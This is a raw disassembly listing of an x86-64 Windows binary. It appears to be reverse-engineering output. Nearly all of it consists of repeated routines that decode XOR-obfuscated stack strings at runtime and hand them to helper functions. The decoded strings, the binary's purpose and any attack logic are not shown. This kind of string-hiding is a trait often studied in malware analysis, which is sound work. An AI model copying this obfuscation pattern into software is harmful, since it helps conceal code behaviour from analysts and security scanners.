mov r8d, ebx
cmp r12d, 2
jl 0x14002715a
movdqa xmmword [rbp + 0x1300], xmm14
lea rcx, [rbp + 0x820]
mov edx, r14d
mov r9d, dword [rbp + 0x1300]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x18
jl 0x140027060
cmp r8d, 0x1d
jge 0x1400271a3
movsxd rax, r8d
lea r9, [rbp + 0x820]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x140027170
lea rdx, [rbp + 0x820]
lea rcx, [rbp + 0xf50]
call fcn.140005500
nop
mov r8d, 0xff00
lea rdx, [rbp + 0xf50]
mov rcx, rdi
call fcn.140005a90
nop
lea rcx, [rbp + 0xf50]
call fcn.1400523c0
movups xmm4, xmmword [0x14009cb40]
movups xmmword [rbp + 0x4f8], xmm4
movq xmm5, qword [str.YE__qGDXJ]
movq qword [rbp + 0x508], xmm5
mov r8d, ebx
cmp r12d, 2
jl 0x14002735e
movdqa xmm2, xmm8
punpckldq xmm2, xmm8
pmuldq xmm2, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm8
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm4
xorps xmm3, xmm1
movq qword [rbp + 0x4f8], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm11
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x500]
xorps xmm3, xmm0
movq qword [rbp + 0x500], xmm3
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm10
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, xmm5
xorps xmm3, xmm0
movq qword [rbp + 0x508], xmm3
lea rdx, [rbp + 0x4f8]
jmp 0x140029004
lea r9, [rbp + 0x4f8]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
mul r8d
shr edx, 5
movzx eax, dx
imul ecx, eax, 0x33
movzx eax, r8w
sub ax, cx
add ax, 0x34
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xc
jl 0x140027370
lea rdx, [rbp + 0x4f8]
jmp 0x140029004
movups xmm0, xmmword [0x14009d7c8]
movups xmmword [rbp + 0x950], xmm0
movups xmm1, xmmword [0x14009d7d8]
movups xmmword [rbp + 0x960], xmm1
movsd xmm0, qword [0x14009d7e8]
movsd qword [rbp + 0x970], xmm0
mov eax, dword [0x14009d7f0]
mov dword [rbp + 0x978], eax
movzx eax, byte [0x14009d7f4]
mov byte [rbp + 0x97c], al
mov r8d, ebx
cmp r12d, 2
jl 0x14002751a
movdqa xmmword [rbp + 0x1300], xmm14
lea rcx, [rbp + 0x950]
mov edx, r14d
mov r9d, dword [rbp + 0x1300]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x28
jl 0x140027420
cmp r8d, 0x2d
jge 0x140027563
movsxd rax, r8d
lea r9, [rbp + 0x950]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140027530
lea rdx, [rbp + 0x950]
lea rcx, [rbp + 0xf70]
call fcn.140005500
nop
mov r8d, 0xff00
lea rdx, [rbp + 0xf70]
mov rcx, rdi
call fcn.140005a90
nop
lea rcx, [rbp + 0xf70]
call fcn.1400523c0
movups xmm4, xmmword [str.yTPY__USWK_7]
movups xmmword [rbp + 0x540], xmm4
movups xmm0, xmmword [0x14009d000]
movups xmmword [rbp + 0x550], xmm0
movups xmm1, xmmword [str.__2.d.4_N]
movups xmmword [rbp + 0x560], xmm1
mov eax, dword [0x14009d020]
mov dword [rbp + 0x570], eax
movzx eax, word [0x14009d024]
mov word [rbp + 0x574], ax
mov r8d, ebx
cmp r12d, 2
jl 0x14002789a
movdqa xmm2, xmm8
punpckldq xmm2, xmm8
pmuldq xmm2, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm8
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm4
xorps xmm3, xmm1
movq qword [rbp + 0x540], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm11
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x548]
xorps xmm3, xmm0
movq qword [rbp + 0x548], xmm3
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm10
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x550]
xorps xmm3, xmm0
movq qword [rbp + 0x550], xmm3
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
pmuldq xmm2, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm13
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm13
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x558]
xorps xmm3, xmm0
movq qword [rbp + 0x558], xmm3
movdqa xmm2, xmm15
punpckldq xmm2, xmm15
pmuldq xmm2, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm15
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm15
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x560]
xorps xmm3, xmm0
movq qword [rbp + 0x560], xmm3
movdqa xmm3, xmmword [0x14009e3d0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmm7
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm3
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x568]
xorps xmm3, xmm0
movq qword [rbp + 0x568], xmm3
mov r8d, 0x18
mov eax, r8d
lea r9, [rbp + 0x540]
lea r9, [r9 + rax*2]
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x33
movzx eax, r8w
sub ax, cx
add ax, 0x34
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x1b
jl 0x1400278b0
lea rdx, [rbp + 0x540]
jmp 0x140029004
movups xmm0, xmmword [str.g__G_K]
movups xmmword [rbp + 0x980], xmm0
movups xmm1, xmmword [str.__3h]
movups xmmword [rbp + 0x990], xmm1
movzx eax, word [0x14009de40]
mov word [rbp + 0x9a0], ax
mov r8d, ebx
cmp r12d, 2
jl 0x140027a4a
movdqa xmmword [rbp + 0x1300], xmm14
lea rcx, [rbp + 0x980]
mov edx, r14d
mov r9d, dword [rbp + 0x1300]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x20
jl 0x140027950
cmp r8d, 0x22
jge 0x140027a93
movsxd rax, r8d
lea r9, [rbp + 0x980]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x140027a60
lea rdx, [rbp + 0x980]
lea rcx, [rbp + 0xf90]
call fcn.140005500
nop
mov r8d, 0xff00
lea rdx, [rbp + 0xf90]
mov rcx, rdi
call fcn.140005a90
nop
lea rcx, [rbp + 0xf90]
call fcn.1400523c0
movups xmm4, xmmword [str.G__G_K]
movups xmmword [rbp + 0x3e0], xmm4
movups xmm0, xmmword [0x14009dde0]
movups xmmword [rbp + 0x3f0], xmm0
movzx eax, word [0x14009ddf0]
mov word [rbp + 0x400], ax
mov r8d, ebx
cmp r12d, 2
jl 0x140027cc7
movdqa xmm2, xmm8
punpckldq xmm2, xmm8
pmuldq xmm2, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm8
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm4
xorps xmm3, xmm1
movq qword [rbp + 0x3e0], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm11
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x3e8]
xorps xmm3, xmm0
movq qword [rbp + 0x3e8], xmm3
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm10
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x3f0]
xorps xmm3, xmm0
movq qword [rbp + 0x3f0], xmm3
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
pmuldq xmm2, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm13
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm13
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x3f8]
xorps xmm3, xmm0
movq qword [rbp + 0x3f8], xmm3
mov r8d, r13d
mov eax, r8d
lea r9, [rbp + 0x3e0]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x33
movzx eax, r8w
sub ax, cx
add ax, 0x34
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x11
jl 0x140027ce0
lea rdx, [rbp + 0x3e0]
jmp 0x140029004
movups xmm0, xmmword [0x14009c168]
movups xmmword [rbp + 0xa08], xmm0
movups xmm1, xmmword [0x14009c178]
movups xmmword [rbp + 0xa18], xmm1
mov r8d, ebx
cmp r12d, 2
jl 0x140027e63
mov edx, ebx
movdqa xmmword [rbp + 0x1300], xmm14
lea rcx, [rbp + 0xa08]
mov r8d, r14d
mov r9d, dword [rbp + 0x1300]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
add r8d, 8
cmp edx, 0x20
jl 0x140027d70
jmp 0x140027e99
lea r9, [rbp + 0xa08]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x20
jl 0x140027e70
lea rdx, [rbp + 0xa08]
lea rcx, [rbp + 0xfb0]
call fcn.140005500
nop
mov r8d, 0xff00
lea rdx, [rbp + 0xfb0]
mov rcx, rdi
call fcn.140005a90
nop
lea rcx, [rbp + 0xfb0]
call fcn.1400523c0
movups xmm4, xmmword [0x14009cda8]
movups xmmword [rbp + 0x510], xmm4
movups xmm0, xmmword [0x14009cdb8]
movups xmmword [rbp + 0x520], xmm0
movq xmm5, qword [0x14009cdc8]
movq qword [rbp + 0x530], xmm5
movzx eax, word [0x14009cdd0]
mov word [rbp + 0x538], ax
mov r8d, ebx
cmp r12d, 2
jl 0x14002814b
movdqa xmm2, xmm8
punpckldq xmm2, xmm8
pmuldq xmm2, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm8
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm4
xorps xmm3, xmm1
movq qword [rbp + 0x510], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm11
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x518]
xorps xmm3, xmm0
movq qword [rbp + 0x518], xmm3
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm10
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x520]
xorps xmm3, xmm0
movq qword [rbp + 0x520], xmm3
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
pmuldq xmm2, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm13
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm13
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x528]
xorps xmm3, xmm0
movq qword [rbp + 0x528], xmm3
movdqa xmm2, xmm15
punpckldq xmm2, xmm15
pmuldq xmm2, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm15
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm15
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, xmm5
xorps xmm3, xmm0
movq qword [rbp + 0x530], xmm3
mov r8d, esi
mov eax, r8d
lea r9, [rbp + 0x510]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x33
movzx eax, r8w
sub ax, cx
add ax, 0x34
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x15
jl 0x140028160
lea rdx, [rbp + 0x510]
jmp 0x140029004
movups xmm0, xmmword [str.yZDCYU]
movups xmmword [rbp + 0x9a8], xmm0
movups xmm1, xmmword [0x14009bc20]
movups xmmword [rbp + 0x9b8], xmm1
mov eax, dword [0x14009bc30]
mov dword [rbp + 0x9c8], eax
mov r8d, ebx
cmp r12d, 2
jl 0x1400282fa
movdqa xmmword [rbp + 0x1300], xmm14
lea rcx, [rbp + 0x9a8]
mov edx, r14d
mov r9d, dword [rbp + 0x1300]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x20
jl 0x140028200
cmp r8d, 0x24
jge 0x140028343
movsxd rax, r8d
lea r9, [rbp + 0x9a8]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x24
jl 0x140028310
lea rdx, [rbp + 0x9a8]
lea rcx, [rbp + 0xfd0]
call fcn.140005500
nop
mov r8d, 0xff00
lea rdx, [rbp + 0xfd0]
mov rcx, rdi
call fcn.140005a90
nop
lea rcx, [rbp + 0xfd0]
call fcn.1400523c0
movups xmm0, xmmword [0x14009e058]
movups xmmword [rbp - 0x78], xmm0
movzx eax, word [0x14009e068]
mov ecx, 0x4d
mov word [rbp - 0x78], cx
xor word [rbp - 0x76], 0x35
xor word [rbp - 0x74], 0x36
xor word [rbp - 0x72], 0x37
xor word [rbp - 0x70], 0x38
xor word [rbp - 0x6e], 0x39
xor word [rbp - 0x6c], 0x3a
xor word [rbp - 0x6a], 0x3b
xor ax, 0x3c
mov word [rbp - 0x68], ax
lea rdx, [rbp - 0x78]
jmp 0x140029004
movups xmm2, xmmword [0x14009c670]
